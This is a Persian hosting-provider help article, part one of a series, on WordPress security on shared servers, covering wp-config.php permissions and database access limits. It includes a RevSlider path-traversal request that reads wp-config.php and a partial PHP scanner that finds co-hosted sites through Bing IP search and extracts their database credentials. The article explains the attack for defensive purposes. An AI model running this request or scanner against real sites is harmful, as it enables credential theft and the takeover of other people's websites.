مرکز آموزش

امنیت سایت در هاست اشتراکی- بخش اول

هک کردن وب سایت های ورد پرس بر روی سرور های اشتراکی

یک وب سایت تنها به اندازه ی ضعیف ترین لینک موجود در سرور اشتراکی آن ایمن است. به زبان ساده، وقتی یک هکر به یک وب سایت در سرور دسترسی پیدا می کند، می تواند به راحتی در مجوز های دسترسی به بقیه وب سایت های سرور نیز تاثیر بگذارد. اصطلاحا به این کار cross-site contamination ( آلودگی متقاطع سایت) می گویند. وقتی صحبت به ورد پرس می رسد این موضوع حساس تر می شود چون هسته ورد پرس برای هکر ها بسیار شناخته شده است.

کاربران وردپرس می دانند که فایل های wp-config.php شامل اطلاعات بانک داده است. این امر بسیار مهم است که این فایل های مهم و حساس را از دسترسی دید دیگران دور نگه داریم. اگر هکر ها بتوانند این گونه فایل ها را بخوانند و از تنظیمات دیتابیس اطلاع پیدا کنند خرابی هایی زیادی را منجر خواهند شد از جمله اینکه می توانند کاربر مدیر در ورد پرس بسازند و پست های اسپم در سایت اضافه کنند.

در زیر دو نکته مهم که اکثر شرکت های ارائه دهنده هاست و صاحبان وبسایت برای جلوگیری از از دسترسی این هکرها به وب سایت هایشان رعایت می کنند می بینید:

فایل wp-config.php را برای همه غیر قابل خواندن کنید به جز صاحب سایت ( و فرآیند وب سرور) مثلا مجوز دسترسی ۴۰۰ را به این فایل اختصاص دهید.

اتصال از IP های خارجی به بانک داده را غیر ممکن کنید ( مثلا دسترسی IP های غیر از ۱۷۲٫۰٫۰٫۱ یا خارج از زیرشبکه هاست را ببندید).

حتما بخوانید: اجبار اتصال https برای ios

این دو مرحله به شما کمک می کند تا از پیش آمدن بسیاری از مشکلات جلوگیری کنید. .. مگر اینکه وب سایت شما یک آسیب پذیری دانلود فایل دلخواه داشته باشد.

آسیب پذیری دانلود فایل دلخواه

آسیب پذیری دانلود فایل دلخواه به هکرها اجازه می دهد تا یک درخواست تقلبی را به سایت ارسال کنند که در پاسخ محتوای هر فایلی روی سرور شما را باز می گرداند ( اگر فرآیند وب سرور دسترسی خواندن آن فایل را داشته باشد). بدتام ترین مثالی که می توان از این نوع آسیب پذیری زد، حفره امنیتی موجود در نسخه های قدیمی پلاگین فوق العاده معروف RevSlider است. که این مشکل خود را در سال ۲۰۱۴ به صدها هزار وب سایت وردپرس افشا کرد.

این یک درخواست معمولی است که در لاگ سایت هایی که هک شده است می توان آن را مشاهده کرد:

http://victim.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php

هکر ها از این درخواست برای دانلود کردن محتوای فایل wp-config.php و سپس استفاده از اطلاعات بانک داده جهت ایجاد یک کاربر مدیر مخرب وردپرس استفاده می کنند.

دسترسی سخت به فایل wp-config.php کمکی نمی کند

آیا اختصاص مجوز دسترسی ۴۰۰ به فایل wp-config.php از حمله جلوگیری می کند؟

نه! فایلی که وب سرور به آن دسترسی دارد برای آن قابل خواندن است. ( اگر وب سرور به یه این فایل دسترسی نداشته باشد کلا وردپرس کار نخواهد کرد).

راه حل دوم چطور؟ آیا بستن دسترسی به بانک داده از خارج از شبکه هاست یا حتی هر سرور دیگری به جز سرور محلی کارساز است؟

مطمئنا بله! پس از اینکه هکر توانست اطلاعات بانک اطلاعاتی را بدزدد نمیتواند از کامپیوتر خودش به بانک اطلاعاتی وب سایت ما لاگین کند. بنابراین دیگر جای نگرانی نیست. واقعا نیست؟ متاسفانه راه حلی برای این مورد هم وجود دارد که ما بارها دیدیم هکر ها از ان استفاده می کنند.

حتما بخوانید: HSTS چیست؟ به همراه آموزش فعالسازی HSTS

سرور های اشتراکی

هکرها چگونه با وجود قطع اتصالات خارجی به بانک داده همچنان می توانند از روی کامپیوتر های خودشان به آن دسترسی داشته باشند.؟ آنها از روی همان سرور هاستی که می خواهند هک کنند به بانک داده متصل می شوند. آنها هنوز وارد سایت نشده اند پس چطور می تواند همچین کاری بکنند؟ پاسخ همه این سوالات سرور اشتراکی است. هکر ها از یک سایت از قبل سازگار شده برای کشف و هک دیگر سایت های وردپرس روی همان سرور استفاده می کنند.

 

اسکن کردن وب سایت های آسیب پذیر

چندین اسکریپت معروف وجود دارد که قدرت نفوذ به Bing های IP را دارد:دستور زیر به طور خودکار وب سایت های آسیب پذیر روی یک آدرس IP را پیدا میکند:

یک مثال به صورت زیر است:

$sites = array_map("site", bing("ip:$ip"));

$un=array_unique($sites);

echo "[+] Scanning -> ", $ip, ""."\n";

echo "Found : ".count($sites)." sites\n\n";

foreach($un as $pok){

$linkof='/wp-content/themes/vulnerable-theme/css/css.php?files= ../../../../wp-config.php';

$dn=($bda).($linkof);

$file=@file_get_contents($dn);

if(eregi('DB_HOST',$file) and !eregi('FTP_USER',$file) ){

echo "[+] Scanning => ".$bda."\n\n";

echo "[+] DB NAME : ".findit($file,"DB_NAME', '","');")."\n\n";

echo "[+] DB USER : ".findit($file,"DB_USER', '","');")."\n\n";

echo "[+] DB PASS : ".findit($file,"DB_PASSWORD', '","');")."\n\n";

echo "[+] DB host : ".findit($file,"DB_HOST', '","');")."\n\n";

 

این اسکریپت از تابع bing() برای پیدا کردن سایت های وردپرس ایندکس شده روی سرور استفاده می کند. برای هر سایتی که پیدا می کند، این اسکریپت تلاش می کندURL را بگیرد و محتویات فایل wp-config.php را برگرداند. اگر سایت آسیب پذیری نداشته باشد از این مرحله رد می شود. فایل wp-config.php گرفته شده، تفسیر شده است و هم اکنون اطلاعات بانک داده بقیه وب سایت های وردپرس هم برای هکر ها در دسترس است.

لطفا در بخش دوم این مقاله همراه ما باشید.

  • 0 کاربر این را مفید یافتند
آیا این پاسخ به شما کمک کرد؟

مقالات مربوطه

مدیریت وب هاستینگ WHM ) Web Host Manager ) چیست ؟

مدیریت وب هاستینگ یا WHM یک برنامه قدرتمند است که اجازه ی دسترسی به مدیریت cPanel را می دهد....

هاست چیست؟ راهنمای کامل + نکات مهم

تا به حال فکر کردید که یک وبسایت کجاست؟ یا اصلا ماهیتش چیست؟ ما معمولا کامپیوترمان را روشن...

خرید هاست از سرورهاما، راهنما بهترین هاست های سرورهاما

در حال حاضر سرورهاما یکی از شرکت های ارائه دهنده خدمات هاستینگ در ایران است. این شرکت با سابقه...

مزایا استفاده از هاست ایمیل

چرا باید میزبانی ایمیل خود را برون سپاری کنید و از هاست ایمیل استفاده نمایید؟ اینکه زیرساخت...

واگذاری و فروش شرکت های هاستینگ

رشد کسب و کار های اینترنتی امروزه رشد روز افزون زندگی شهری و فشار های ناشی از آن، افزایش مصرف...